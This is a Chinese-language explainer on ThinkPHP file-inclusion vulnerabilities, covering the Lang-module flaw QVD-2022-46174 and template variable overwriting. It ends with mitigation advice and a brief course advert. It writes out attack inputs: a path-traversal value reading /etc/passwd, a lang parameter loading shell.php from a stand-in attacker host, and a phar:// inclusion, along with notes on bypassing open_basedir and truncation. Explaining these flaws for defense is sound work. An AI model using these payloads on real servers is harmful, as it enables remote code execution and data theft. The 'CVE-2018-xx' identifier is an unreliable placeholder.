thinkphp远程文件包含漏洞本质是框架动态加载资源时未校验用户可控路径,导致任意文件被解析执行;主要存在于多语言模块(qvd-2022-46174)和模板引擎(cve-2018-xx系列),可绕过allow_url_include限制,利用phar://等协议实现rce。

ThinkPHP远程文件包含(RFI)漏洞本质是框架在动态加载资源时,未对用户可控的文件路径参数做严格校验,导致攻击者可指定任意远程或本地文件被PHP解析执行。这类漏洞不依赖allow_url_include=On也能触发,关键在于框架自身逻辑绕过了PHP底层限制。
多语言模块引发的QVD-2022-46174漏洞
该漏洞影响ThinkPHP 5.x全系列及6.0.1–6.0.13版本,核心成因是Lang模块在解析lang参数时,直接拼接构造语言包路径,且未过滤..、协议前缀与特殊字符。
- 攻击者可通过URL、Cookie或HTTP头传入恶意
lang值,例如:?lang=../../../../etc/passwd(本地读取)?lang=http://attacker.com/shell.php(需服务端allow_url_fopen=On)?lang=phar://public/upload.zip/test.txt(绕过allow_url_include限制) - 框架最终调用
include()加载该路径,若文件含PHP代码即被执行。
模板引擎引发的文件包含(CVE-2018-xx系列延伸)
在ThinkPHP 5.0.0–5.0.18 / 5.1.0–5.1.10中,fetch()配合assign(request()->get())存在变量覆盖风险:
- 用户输入经
array_merge()和extract()注入视图作用域,可覆盖内部变量如$cacheFile; - 后续
read()方法直接include $cacheFile,使攻击者能控制包含目标; - 即便无远程协议支持,也可结合日志文件、session文件、上传文件等实现RCE。
绕过常见防护的关键点
-
open_basedir仅限制文件系统路径前缀,无法拦截phar://、zip://等流包装器; -
null字节截断(%00)在PHP 7.4+已失效,但路径长度截断(Linux下4096字节后截断)仍有效; -
data://协议利用需allow_url_include=On,但php://input在部分配置下仍可配合POST触发。
修复方向必须落实三件事
- 立即关闭非必需的多语言功能,或在中间件中硬编码允许的语言列表,拒绝所有非常规值;
- 升级至ThinkPHP 5.1.40+ 或 6.0.14+,这些版本已移除危险的动态路径拼接逻辑;
- 在Web服务器层(Nginx/Apache)对
lang=、cacheFile=、template=等参数做正则拦截,禁止..、://、phar://等敏感模式。
不复杂但容易忽略。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











